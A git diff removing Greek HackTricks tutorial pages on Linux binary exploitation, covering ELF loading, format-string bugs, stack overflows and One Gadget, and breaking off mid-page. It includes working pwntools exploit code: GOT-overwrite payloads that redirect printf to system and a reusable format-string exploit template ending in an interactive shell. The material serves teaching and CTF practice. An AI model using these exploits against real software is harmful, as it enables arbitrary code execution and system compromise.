- -Αν το **πρόγραμμα φορτωθεί σε διαφορετική θέση** από τη προτιμώμενη διεύθυνση (συνήθως 0x400000) επειδή η διεύθυνση είναι ήδη χρησιμοποιούμενη ή λόγω **ASLR** ή οποιουδήποτε άλλου λόγου, μια στατική μετάθεση **διορθώνει τους δείκτες** που είχαν τιμές περιμένοντας το δυαδικό να φορτωθεί στη προτιμώμενη διεύθυνση. - -Για παράδειγμα, οποιαδήποτε ενότητα τύπου `R_AARCH64_RELATIV` θα πρέπει να έχει τροποποιήσει τη διεύθυνση με το μεταθετικό σφάλμα συν την τιμή προσθήκης. - -### Δυναμικές Μεταθέσεις και GOT - -Η μετάθεση μπορεί επίσης να αναφέρεται σε ένα εξωτερικό σύμβολο (όπως μια συνάρτηση από μια εξάρτηση). Όπως η συνάρτηση malloc από τη libC. Έτσι, ο φορτωτής όταν φορτώνει τη libC σε μια διεύθυνση ελέγχει πού είναι φορτωμένη η συνάρτηση malloc, θα γράψει αυτή τη διεύθυνση στον πίνακα GOT (Global Offset Table) (που υποδεικνύεται στον πίνακα μεταθέσεων) όπου θα πρέπει να καθοριστεί η διεύθυνση του malloc. - -### Πίνακας Σύνδεσης Διαδικασιών - -Η ενότητα PLT επιτρέπει την εκτέλεση καθυστερημένης σύνδεσης, που σημαίνει ότι η επίλυση της τοποθεσίας μιας συνάρτησης θα πραγματοποιηθεί την πρώτη φορά που θα προσπελαστεί. - -Έτσι, όταν ένα πρόγραμμα καλεί τη malloc, στην πραγματικότητα καλεί την αντίστοιχη τοποθεσία του `malloc` στον PLT (`malloc@plt`). Την πρώτη φορά που καλείται, επιλύει τη διεύθυνση του `malloc` και την αποθηκεύει, έτσι ώστε την επόμενη φορά που θα κληθεί η `malloc`, αυτή η διεύθυνση να χρησιμοποιείται αντί του κώδικα PLT. - -## Αρχικοποίηση Προγράμματος - -Αφού το πρόγραμμα έχει φορτωθεί, ήρθε η ώρα να εκτελεστεί. Ωστόσο, ο πρώτος κώδικας που εκτελείται **δεν είναι πάντα η συνάρτηση `main`**. Αυτό συμβαίνει επειδή για παράδειγμα στην C++ αν μια **παγκόσμια μεταβλητή είναι ένα αντικείμενο μιας κλάσης**, αυτό το αντικείμενο πρέπει να **αρχικοποιηθεί** **πριν** εκτελεστεί το main, όπως στο: -```cpp -#include -// g++ autoinit.cpp -o autoinit -class AutoInit { -public: -AutoInit() { -printf("Hello AutoInit!\n"); -} -~AutoInit() { -printf("Goodbye AutoInit!\n"); -} -}; - -AutoInit autoInit; - -int main() { -printf("Main\n"); -return 0; -} -``` -Σημειώστε ότι αυτές οι παγκόσμιες μεταβλητές βρίσκονται στο `.data` ή `.bss`, αλλά στις λίστες `__CTOR_LIST__` και `__DTOR_LIST__` τα αντικείμενα προς αρχικοποίηση και καταστροφή αποθηκεύονται προκειμένου να παρακολουθούνται. - -Από τον κώδικα C είναι δυνατόν να αποκτηθεί το ίδιο αποτέλεσμα χρησιμοποιώντας τις επεκτάσεις GNU: -```c -__attributte__((constructor)) //Add a constructor to execute before -__attributte__((destructor)) //Add to the destructor list -``` -Από την προοπτική ενός μεταγλωττιστή, για να εκτελούνται αυτές οι ενέργειες πριν και μετά την εκτέλεση της συνάρτησης `main`, είναι δυνατόν να δημιουργηθεί μια συνάρτηση `init` και μια συνάρτηση `fini` που θα αναφέρονται στην δυναμική ενότητα ως **`INIT`** και **`FIN`**. και τοποθετούνται στις ενότητες `init` και `fini` του ELF. - -Η άλλη επιλογή, όπως αναφέρθηκε, είναι να αναφερθούν οι λίστες **`__CTOR_LIST__`** και **`__DTOR_LIST__`** στις εγγραφές **`INIT_ARRAY`** και **`FINI_ARRAY`** στη δυναμική ενότητα και το μήκος τους υποδεικνύεται από **`INIT_ARRAYSZ`** και **`FINI_ARRAYSZ`**. Κάθε εγγραφή είναι ένας δείκτης συνάρτησης που θα καλείται χωρίς παραμέτρους. - -Επιπλέον, είναι επίσης δυνατό να υπάρχει μια **`PREINIT_ARRAY`** με **δείκτες** που θα εκτελούνται **πριν** από τους δείκτες **`INIT_ARRAY`**. - -### Σειρά Αρχικοποίησης - -1. Το πρόγραμμα φορτώνεται στη μνήμη, οι στατικές παγκόσμιες μεταβλητές αρχικοποιούνται στο **`.data`** και οι μη αρχικοποιημένες μηδενίζονται στο **`.bss`**. -2. Όλες οι **εξαρτήσεις** για το πρόγραμμα ή τις βιβλιοθήκες **αρχικοποιούνται** και η **δυναμική σύνδεση** εκτελείται. -3. Οι συναρτήσεις **`PREINIT_ARRAY`** εκτελούνται. -4. Οι συναρτήσεις **`INIT_ARRAY`** εκτελούνται. -5. Αν υπάρχει μια εγγραφή **`INIT`**, καλείται. -6. Αν είναι μια βιβλιοθήκη, το dlopen τελειώνει εδώ, αν είναι πρόγραμμα, είναι ώρα να καλέσουμε το **πραγματικό σημείο εισόδου** (συνάρτηση `main`). - -## Αποθήκευση Τοπικών Νημάτων (TLS) - -Ορίζονται χρησιμοποιώντας τη λέξη-κλειδί **`__thread_local`** στην C++ ή την επέκταση GNU **`__thread`**. - -Κάθε νήμα θα διατηρεί μια μοναδική τοποθεσία για αυτή τη μεταβλητή, έτσι μόνο το νήμα μπορεί να έχει πρόσβαση στη μεταβλητή του. - -Όταν αυτό χρησιμοποιείται, οι ενότητες **`.tdata`** και **`.tbss`** χρησιμοποιούνται στο ELF. Οι οποίες είναι όπως η `.data` (αρχικοποιημένη) και η `.bss` (μη αρχικοποιημένη) αλλά για TLS. - -Κάθε μεταβλητή θα έχει μια εγγραφή στην κεφαλίδα TLS που θα καθορίζει το μέγεθος και την απόσταση TLS, η οποία είναι η απόσταση που θα χρησιμοποιήσει στην τοπική περιοχή δεδομένων του νήματος. - -Ο `__TLS_MODULE_BASE` είναι ένα σύμβολο που χρησιμοποιείται για να αναφέρεται στη βασική διεύθυνση της αποθήκευσης τοπικών νημάτων και δείχνει στην περιοχή μνήμης που περιέχει όλα τα τοπικά δεδομένα νήματος ενός module. - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md deleted file mode 100644 index 9b80055ee..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/README.md +++ /dev/null @@ -1,150 +0,0 @@ -# Format Strings - -{{#include ../../../banners/hacktricks-training.md}} - -## Basic Information - -Στην C **`printf`** είναι μια συνάρτηση που μπορεί να χρησιμοποιηθεί για να **εκτυπώσει** κάποιο κείμενο. Η **πρώτη παράμετρος** που αναμένει αυτή η συνάρτηση είναι το **ακατέργαστο κείμενο με τους μορφοποιητές**. Οι **επόμενες παράμετροι** που αναμένονται είναι οι **τιμές** για να **αντικαταστήσουν** τους **μορφοποιητές** από το ακατέργαστο κείμενο. - -Η ευπάθεια εμφανίζεται όταν ένα **κείμενο επιτιθέμενου χρησιμοποιείται ως η πρώτη παράμετρος** σε αυτή τη συνάρτηση. Ο επιτιθέμενος θα είναι σε θέση να δημιουργήσει μια **ειδική είσοδο εκμεταλλευόμενος** τις δυνατότητες της **μορφής printf** για να διαβάσει και να **γράψει οποιαδήποτε δεδομένα σε οποιαδήποτε διεύθυνση (αναγνώσιμη/γραφόμενη)**. Έχοντας έτσι τη δυνατότητα να **εκτελέσει αυθαίρετο κώδικα**. - -#### Formatters: -```bash -%08x —> 8 hex bytes -%d —> Entire -%u —> Unsigned -%s —> String -%n —> Number of written bytes -%hn —> Occupies 2 bytes instead of 4 -$X —> Direct access, Example: ("%3$d", var1, var2, var3) —> Access to var3 -``` -**Παραδείγματα:** - -- Ευάλωτο παράδειγμα: -```c -char buffer[30]; -gets(buffer); // Dangerous: takes user input without restrictions. -printf(buffer); // If buffer contains "%x", it reads from the stack. -``` -- Κανονική Χρήση: -```c -int value = 1205; -printf("%x %x %x", value, value, value); // Outputs: 4b5 4b5 4b5 -``` -- Με Ελλείποντες Παραμέτρους: -```c -printf("%x %x %x", value); // Unexpected output: reads random values from the stack. -``` -### **Πρόσβαση σε Δείκτες** - -Η μορφή **`%$x`**, όπου `n` είναι ένας αριθμός, επιτρέπει να υποδείξετε στο printf να επιλέξει την n παράμετρο (από τη στοίβα). Έτσι, αν θέλετε να διαβάσετε την 4η παράμετρο από τη στοίβα χρησιμοποιώντας το printf, μπορείτε να κάνετε: -```c -printf("%x %x %x %x") -``` -και θα διάβαζες από την πρώτη έως την τέταρτη παράμετρο. - -Ή θα μπορούσες να κάνεις: -```c -printf("$4%x") -``` -και να διαβάσει απευθείας το τέταρτο. - -Σημειώστε ότι ο επιτιθέμενος ελέγχει την παράμετρο `pr`**`intf`**, που σημαίνει ότι** η είσοδός του θα είναι στη στοίβα όταν κληθεί το `printf`, που σημαίνει ότι θα μπορούσε να γράψει συγκεκριμένες διευθύνσεις μνήμης στη στοίβα. - -> [!CAUTION] -> Ένας επιτιθέμενος που ελέγχει αυτή την είσοδο, θα είναι σε θέση να **προσθέσει αυθαίρετες διευθύνσεις στη στοίβα και να κάνει το `printf` να τις προσπελάσει**. Στην επόμενη ενότητα θα εξηγηθεί πώς να χρησιμοποιηθεί αυτή η συμπεριφορά. - -## **Αυθαίρετη Ανάγνωση** - -Είναι δυνατόν να χρησιμοποιηθεί ο μορφοποιητής **`$n%s`** για να κάνει το **`printf`** να αποκτήσει τη **διεύθυνση** που βρίσκεται στη **n θέση**, ακολουθώντας την και **να την εκτυπώσει σαν να ήταν μια συμβολοσειρά** (εκτύπωση μέχρι να βρεθεί ένα 0x00). Έτσι, αν η βασική διεύθυνση του δυαδικού είναι **`0x8048000`**, και γνωρίζουμε ότι η είσοδος του χρήστη ξεκινά στην 4η θέση στη στοίβα, είναι δυνατόν να εκτυπωθεί η αρχή του δυαδικού με: -```python -from pwn import * - -p = process('./bin') - -payload = b'%6$p' #4th param -payload += b'xxxx' #5th param (needed to fill 8bytes with the initial input) -payload += p32(0x8048000) #6th param - -p.sendline(payload) -log.info(p.clean()) # b'\x7fELF\x01\x01\x01||||' -``` -> [!CAUTION] -> Σημειώστε ότι δεν μπορείτε να βάλετε τη διεύθυνση 0x8048000 στην αρχή της εισόδου γιατί η συμβολοσειρά θα κοπεί στο 0x00 στο τέλος αυτής της διεύθυνσης. - -## **Αυθαίρετη Γραφή** - -Ο μορφοποιητής **`$%n`** **γράφει** τον **αριθμό των γραμμένων byte** στη **δεικνυόμενη διεύθυνση** στην παράμετρο \ στο stack. Αν ένας επιτιθέμενος μπορεί να γράψει όσους χαρακτήρες θέλει με το printf, θα είναι σε θέση να κάνει **`$%n`** να γράψει έναν αυθαίρετο αριθμό σε μια αυθαίρετη διεύθυνση. - -Ευτυχώς, για να γράψετε τον αριθμό 9999, δεν χρειάζεται να προσθέσετε 9999 "A"s στην είσοδο, για να το κάνετε αυτό είναι δυνατό να χρησιμοποιήσετε τον μορφοποιητή **`%.%$n`** για να γράψετε τον αριθμό **``** στη **διεύθυνση που υποδεικνύεται από τη θέση `num`**. -```bash -AAAA%.6000d%4\$n —> Write 6004 in the address indicated by the 4º param -AAAA.%500\$08x —> Param at offset 500 -``` -Ωστόσο, σημειώστε ότι συνήθως για να γράψετε μια διεύθυνση όπως `0x08049724` (η οποία είναι ένας ΜΕΓΑΛΟΣ αριθμός για να γραφτεί ταυτόχρονα), **χρησιμοποιείται το `$hn`** αντί για το `$n`. Αυτό επιτρέπει να **γραφούν μόνο 2 Bytes**. Επομένως, αυτή η λειτουργία εκτελείται δύο φορές, μία για τα υψηλότερα 2B της διεύθυνσης και άλλη μία για τα χαμηλότερα. - -Επομένως, αυτή η ευπάθεια επιτρέπει να **γραφεί οτιδήποτε σε οποιαδήποτε διεύθυνση (τυχαία εγγραφή).** - -Σε αυτό το παράδειγμα, ο στόχος είναι να **επικαλυφθεί** η **διεύθυνση** μιας **συνάρτησης** στον πίνακα **GOT** που θα κληθεί αργότερα. Αν και αυτό θα μπορούσε να εκμεταλλευτεί άλλες τεχνικές τυχαίας εγγραφής για εκτέλεση: - -{{#ref}} -../arbitrary-write-2-exec/ -{{#endref}} - -Θα **επικαλυφθεί** μια **συνάρτηση** που **λαμβάνει** τα **ορίσματά** της από τον **χρήστη** και θα **δείξει** στη **συνάρτηση** **`system`**.\ -Όπως αναφέρθηκε, για να γραφεί η διεύθυνση, συνήθως απαιτούνται 2 βήματα: Πρώτα **γράφονται 2Bytes** της διεύθυνσης και στη συνέχεια τα άλλα 2. Για να το κάνετε αυτό, χρησιμοποιείται το **`$hn`**. - -- **HOB** καλείται για τα 2 υψηλότερα bytes της διεύθυνσης -- **LOB** καλείται για τα 2 χαμηλότερα bytes της διεύθυνσης - -Στη συνέχεια, λόγω του πώς λειτουργεί η μορφή της συμβολοσειράς, πρέπει να **γραφεί πρώτα το μικρότερο** από \[HOB, LOB] και στη συνέχεια το άλλο. - -Αν HOB < LOB\ -`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]` - -Αν HOB > LOB\ -`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]` - -HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB -```bash -python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"' -``` -### Pwntools Template - -Μπορείτε να βρείτε ένα πρότυπο για να προετοιμάσετε μια εκμετάλλευση για αυτόν τον τύπο ευπάθειας στο: - -{{#ref}} -format-strings-template.md -{{#endref}} - -Ή αυτό το βασικό παράδειγμα από [**εδώ**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite): -```python -from pwn import * - -elf = context.binary = ELF('./got_overwrite-32') -libc = elf.libc -libc.address = 0xf7dc2000 # ASLR disabled - -p = process() - -payload = fmtstr_payload(5, {elf.got['printf'] : libc.sym['system']}) -p.sendline(payload) - -p.clean() - -p.sendline('/bin/sh') - -p.interactive() -``` -## Άλλα Παραδείγματα & Αναφορές - -- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string) -- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4) -- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html) -- 32 bit, no relro, no canary, nx, no pie, βασική χρήση format strings για να διαρρεύσει η σημαία από τη στοίβα (δεν χρειάζεται να αλλάξει η ροή εκτέλεσης) -- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html) -- 32 bit, relro, no canary, nx, no pie, format string για να αντικαταστήσει τη διεύθυνση `fflush` με τη win function (ret2win) -- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html) -- 32 bit, relro, no canary, nx, no pie, format string για να γράψει μια διεύθυνση μέσα στο main στο `.fini_array` (έτσι ώστε η ροή να επαναληφθεί 1 φορά ακόμα) και να γράψει τη διεύθυνση στο `system` στον πίνακα GOT που δείχνει στο `strlen`. Όταν η ροή επιστρέψει στο main, το `strlen` εκτελείται με είσοδο χρήστη και δείχνει στο `system`, θα εκτελέσει τις εντολές που έχουν περαστεί. - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md deleted file mode 100644 index 37491cf26..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/format-strings/format-strings-template.md +++ /dev/null @@ -1,140 +0,0 @@ -{{#include ../../../banners/hacktricks-training.md}} -```python -from pwn import * -from time import sleep - -################### -### CONNECTION #### -################### - -# Define how you want to exploit the binary -LOCAL = True -REMOTETTCP = False -REMOTESSH = False -GDB = False - -# Configure vulnerable binary -LOCAL_BIN = "./tyler" -REMOTE_BIN = "./tyler" #For ssh - -# In order to exploit the format string you may need to append/prepend some string to the payload -# configure them here -PREFIX_PAYLOAD = b"" -SUFFIX_PAYLOAD = b"" -NNUM_ALREADY_WRITTEN_BYTES = 0 -MAX_LENTGH = 999999 #Big num if not restricted - -print(" ====================== ") -print("Selected options:") -print(f"PREFIX_PAYLOAD: {PREFIX_PAYLOAD}") -print(f"SUFFIX_PAYLOAD: {SUFFIX_PAYLOAD}") -print(f"NNUM_ALREADY_WRITTEN_BYTES: {NNUM_ALREADY_WRITTEN_BYTES}") -print(" ====================== ") - - -def connect_binary(): -global P, ELF_LOADED, ROP_LOADED - -if LOCAL: -P = process(LOCAL_BIN) # start the vuln binary -ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary -ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets - -elif REMOTETTCP: -P = remote('10.10.10.10',1338) # start the vuln binary -ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary -ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets - -elif REMOTESSH: -ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220) -P = ssh_shell.process(REMOTE_BIN) # start the vuln binary -ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary -ROP_LOADED = ROP(elf)# Find ROP gadgets - - -####################################### -### Get format string configuration ### -####################################### - -def send_payload(payload): -payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD -log.info("payload = %s" % repr(payload)) -if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED") -P.sendline(payload) -sleep(0.5) -return P.recv() - - -def get_formatstring_config(): -global P - -for offset in range(1,1000): -connect_binary() -P.clean() - -payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p" -recieved = send_payload(payload).strip() - -if b"41" in recieved: -for padlen in range(0,4): -if b"41414141" in recieved: -connect_binary() -payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p" -recieved = send_payload(payload).strip() -print(recieved) -if b"42424242" in recieved: -log.info(f"Found offset ({offset}) and padlen ({padlen})") -return offset, padlen - -else: -connect_binary() -payload = b" " + payload -recieved = send_payload(payload).strip() - - -# In order to exploit a format string you need to find a position where part of your payload -# is being reflected. Then, you will be able to put in the position arbitrary addresses -# and write arbitrary content in those addresses -# Therefore, the function get_formatstring_config will find the offset and padd needed to exploit the format string - -offset, padlen = get_formatstring_config() - - -# In this template, the GOT of printf (the part of the GOT table that points to where the printf -# function resides) is going to be modified by the address of the system inside the PLT (the -# part of the code that will jump to the system function). -# Therefore, next time the printf function is executed, system will be executed instead with the same -# parameters passed to printf - -# In some scenarios you will need to loop1 more time to the vulnerability -# In that cases you need to overwrite a pointer in the .fini_array for example -# Uncomment the commented code below to gain 1 rexecution extra - -#P_FINI_ARRAY = ELF_LOADED.symbols["__init_array_end"] # .fini_array address -#INIT_LOOP_ADDR = 0x8048614 # Address to go back -SYSTEM_PLT = ELF_LOADED.plt["system"] -P_GOT = ELF_LOADED.got["printf"] - -#log.info(f"Init loop address: {hex(INIT_LOOP_ADDR)}") -#log.info(f"fini.array address: {hex(P_FINI_ARRAY)}") -log.info(f"System PLT address: {hex(SYSTEM_PLT)}") -log.info(f"Printf GOT address: {hex(P_GOT)}") - -connect_binary() -if GDB and not REMOTETTCP and not REMOTESSH: -# attach gdb and continue -# You can set breakpoints, for example "break *main" -gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n" -sleep(5) - -format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES) -#format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR) -format_string.write(P_GOT, SYSTEM_PLT) -format_string.execute_writes() - -# Now that printf function is executing system you just need to find a place where you can -# control the parameters passed to printf to execute arbitrary code. - -P.interactive() -``` -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/one-gadget.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/one-gadget.md deleted file mode 100644 index b72b83ad3..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/one-gadget.md +++ /dev/null @@ -1,20 +0,0 @@ -# One Gadget - -{{#include ../../banners/hacktricks-training.md}} - -## Basic Information - -[**One Gadget**](https://github.com/david942j/one_gadget) επιτρέπει την απόκτηση ενός shell αντί να χρησιμοποιείται το **system** και το **"/bin/sh". One Gadget** θα βρει μέσα στη βιβλιοθήκη libc κάποιον τρόπο για να αποκτήσει ένα shell (`execve("/bin/sh")`) χρησιμοποιώντας μόνο μία **διεύθυνση**.\ -Ωστόσο, κανονικά υπάρχουν κάποιους περιορισμούς, οι πιο κοινοί και εύκολοι να αποφευχθούν είναι όπως `[rsp+0x30] == NULL`. Καθώς ελέγχετε τις τιμές μέσα στο **RSP**, απλά πρέπει να στείλετε μερικές ακόμα NULL τιμές ώστε να αποφευχθεί ο περιορισμός. - -![](<../../images/image (615).png>) -```python -ONE_GADGET = libc.address + 0x4526a -rop2 = base + p64(ONE_GADGET) + "\x00"*100 -``` -Για τη διεύθυνση που υποδεικνύεται από το One Gadget, πρέπει να **προσθέσετε τη βασική διεύθυνση όπου φορτώνεται το `libc`**. - -> [!TIP] -> Το One Gadget είναι μια **μεγάλη βοήθεια για τις τεχνικές Arbitrary Write 2 Exec** και μπορεί να **απλοποιήσει τις αλυσίδες ROP** καθώς χρειάζεται μόνο να καλέσετε μία διεύθυνση (και να πληροίτε τις απαιτήσεις). - -{{#include ../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md deleted file mode 100644 index 22d82fb11..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/README.md +++ /dev/null @@ -1,89 +0,0 @@ -# Stack Overflow - -{{#include ../../../banners/hacktricks-training.md}} - -## Τι είναι το Stack Overflow - -Ένα **stack overflow** είναι μια ευπάθεια που συμβαίνει όταν ένα πρόγραμμα γράφει περισσότερα δεδομένα στο stack από όσα έχει εκχωρηθεί να κρατήσει. Αυτά τα επιπλέον δεδομένα θα **επικαλύψουν γειτονικό χώρο μνήμης**, οδηγώντας σε διαφθορά έγκυρων δεδομένων, διαταραχή ροής ελέγχου και ενδεχομένως την εκτέλεση κακόβουλου κώδικα. Αυτό το ζήτημα προκύπτει συχνά λόγω της χρήσης μη ασφαλών συναρτήσεων που δεν εκτελούν έλεγχο ορίων στην είσοδο. - -Το κύριο πρόβλημα αυτής της επικαλύψης είναι ότι ο **αποθηκευμένος δείκτης εντολών (EIP/RIP)** και ο **αποθηκευμένος δείκτης βάσης (EBP/RBP)** για να επιστρέψουν στην προηγούμενη συνάρτηση είναι **αποθηκευμένα στο stack**. Επομένως, ένας επιτιθέμενος θα είναι σε θέση να τα επικαλύψει και να **ελέγξει τη ροή εκτέλεσης του προγράμματος**. - -Η ευπάθεια συνήθως προκύπτει επειδή μια συνάρτηση **αντιγράφει στο stack περισσότερα bytes από την ποσότητα που έχει εκχωρηθεί γι' αυτήν**, επομένως μπορεί να επικαλύψει άλλα μέρη του stack.\ -Ορισμένες κοινές συναρτήσεις που είναι ευάλωτες σε αυτό είναι: `strcpy`, `strcat`, `sprintf`, `gets`... Επίσης, συναρτήσεις όπως `fgets` ή `read`, που δέχονται ένα όρισμα μήκους, μπορεί να χρησιμοποιηθούν με ευάλωτο τρόπο αν το καθορισμένο μήκος είναι μεγαλύτερο από το εκχωρημένο. - -Για παράδειγμα, οι παρακάτω συναρτήσεις θα μπορούσαν να είναι ευάλωτες: -```c -void vulnerable() { -char buffer[128]; -printf("Enter some text: "); -gets(buffer); // This is where the vulnerability lies -printf("You entered: %s\n", buffer); -} -``` -### Εύρεση Σφαλμάτων Στοίβας - -Ο πιο κοινός τρόπος για να βρείτε σφάλματα στοίβας είναι να δώσετε μια πολύ μεγάλη είσοδο από `A`s (π.χ. `python3 -c 'print("A"*1000)'`) και να περιμένετε ένα `Segmentation Fault` που υποδεικνύει ότι η **διεύθυνση `0x41414141` προσπαθήθηκε να προσπελαστεί**. - -Επιπλέον, μόλις βρείτε ότι υπάρχει ευπάθεια Σφάλματος Στοίβας, θα χρειαστεί να βρείτε την απόσταση μέχρι να είναι δυνατό να **επικαλύψετε τη διεύθυνση επιστροφής**, για αυτό συνήθως χρησιμοποιείται μια **ακολουθία De Bruijn.** Η οποία για μια δεδομένη αλφάβητο μεγέθους _k_ και υποακολουθίες μήκους _n_ είναι μια **κυκλική ακολουθία στην οποία κάθε δυνατή υποακολουθία μήκους **_**n**_** εμφανίζεται ακριβώς μία φορά** ως συνεχής υποακολουθία. - -Με αυτόν τον τρόπο, αντί να χρειάζεται να καταλάβετε ποια απόσταση είναι απαραίτητη για να ελέγξετε το EIP με το χέρι, είναι δυνατό να χρησιμοποιήσετε ως padding μία από αυτές τις ακολουθίες και στη συνέχεια να βρείτε την απόσταση των byte που τελείωσαν επικαλύπτοντάς το. - -Είναι δυνατό να χρησιμοποιήσετε **pwntools** για αυτό: -```python -from pwn import * - -# Generate a De Bruijn sequence of length 1000 with an alphabet size of 256 (byte values) -pattern = cyclic(1000) - -# This is an example value that you'd have found in the EIP/IP register upon crash -eip_value = p32(0x6161616c) -offset = cyclic_find(eip_value) # Finds the offset of the sequence in the De Bruijn pattern -print(f"The offset is: {offset}") -``` -ή **GEF**: -```bash -#Patterns -pattern create 200 #Generate length 200 pattern -pattern search "avaaawaa" #Search for the offset of that substring -pattern search $rsp #Search the offset given the content of $rsp -``` -## Εκμετάλλευση Στοίβας Υπερχείλισης - -Κατά τη διάρκεια μιας υπερχείλισης (υποθέτοντας ότι το μέγεθος της υπερχείλισης είναι αρκετά μεγάλο) θα είστε σε θέση να επαναγράψετε τις τιμές των τοπικών μεταβλητών μέσα στη στοίβα μέχρι να φτάσετε στο αποθηκευμένο EBP/RBP και EIP/RIP (ή ακόμα περισσότερο).\ -Ο πιο κοινός τρόπος για να εκμεταλλευτείτε αυτόν τον τύπο ευπάθειας είναι με το **να τροποποιήσετε τη διεύθυνση επιστροφής** έτσι ώστε όταν η συνάρτηση τελειώσει, η **ροή ελέγχου να ανακατευθυνθεί όπου έχει καθορίσει ο χρήστης** σε αυτόν τον δείκτη. - -Ωστόσο, σε άλλα σενάρια, ίσως απλά **η επαναγραφή κάποιων τιμών μεταβλητών στη στοίβα** να είναι αρκετή για την εκμετάλλευση (όπως σε εύκολες προκλήσεις CTF). - -### Ret2win - -Σε αυτούς τους τύπους προκλήσεων CTF, υπάρχει μια **συνάρτηση** **μέσα** στο δυαδικό αρχείο που **ποτέ δεν καλείται** και που **πρέπει να καλέσετε για να κερδίσετε**. Για αυτές τις προκλήσεις, χρειάζεται απλώς να βρείτε την **απόσταση για να επαναγράψετε τη διεύθυνση επιστροφής** και **να βρείτε τη διεύθυνση της συνάρτησης** που θα καλέσετε (συνήθως [**ASLR**](../common-binary-protections-and-bypasses/aslr/index.html) θα είναι απενεργοποιημένο) έτσι ώστε όταν η ευάλωτη συνάρτηση επιστρέψει, η κρυφή συνάρτηση θα κληθεί: - -{{#ref}} -ret2win.md -{{#endref}} - -### Stack Shellcode - -Σε αυτό το σενάριο, ο επιτιθέμενος θα μπορούσε να τοποθετήσει ένα shellcode στη στοίβα και να εκμεταλλευτεί το ελεγχόμενο EIP/RIP για να μεταπηδήσει στο shellcode και να εκτελέσει αυθαίρετο κώδικα: - -{{#ref}} -stack-shellcode.md -{{#endref}} - -## ROP - -Αυτή η τεχνική είναι το θεμελιώδες πλαίσιο για να παρακαμφθεί η κύρια προστασία της προηγούμενης τεχνικής: **Μη εκτελέσιμη στοίβα** (NX). Και επιτρέπει την εκτέλεση αρκετών άλλων τεχνικών (ret2lib, ret2syscall...) που θα καταλήξουν να εκτελούν αυθαίρετες εντολές εκμεταλλευόμενοι υπάρχουσες εντολές στο δυαδικό αρχείο: - -{{#ref}} -rop-return-oriented-programing.md -{{#endref}} - -## Τύποι προστασιών - -Υπάρχουν πολλές προστασίες που προσπαθούν να αποτρέψουν την εκμετάλλευση ευπαθειών, ελέγξτε τις στο: - -{{#ref}} -../common-binary-protections-and-bypasses/ -{{#endref}} - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md b/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md deleted file mode 100644 index 1dbf915d5..000000000 --- a/src/reversing-and-exploiting/linux-exploiting-basic-esp/stack-overflow/pointer-redirecting.md +++ /dev/null @@ -1,29 +0,0 @@ -# Ανακατεύθυνση Δεικτών - -{{#include ../../../banners/hacktricks-training.md}} - -## Δείκτες Συμβολοσειρών - -Αν μια κλήση συνάρτησης πρόκειται να χρησιμοποιήσει μια διεύθυνση μιας συμβολοσειράς που βρίσκεται στη στοίβα, είναι δυνατόν να καταχραστεί η υπερχείλιση του buffer για να **επικαλύψει αυτή τη διεύθυνση** και να βάλει μια **διεύθυνση σε μια διαφορετική συμβολοσειρά** μέσα στο δυαδικό. - -Αν για παράδειγμα μια κλήση της **`system`** πρόκειται να **χρησιμοποιήσει τη διεύθυνση μιας συμβολοσειράς για να εκτελέσει μια εντολή**, ένας επιτιθέμενος θα μπορούσε να τοποθετήσει τη **διεύθυνση μιας διαφορετικής συμβολοσειράς στη στοίβα**, **`export PATH=.:$PATH`** και να δημιουργήσει στον τρέχοντα κατάλογο ένα **σενάριο 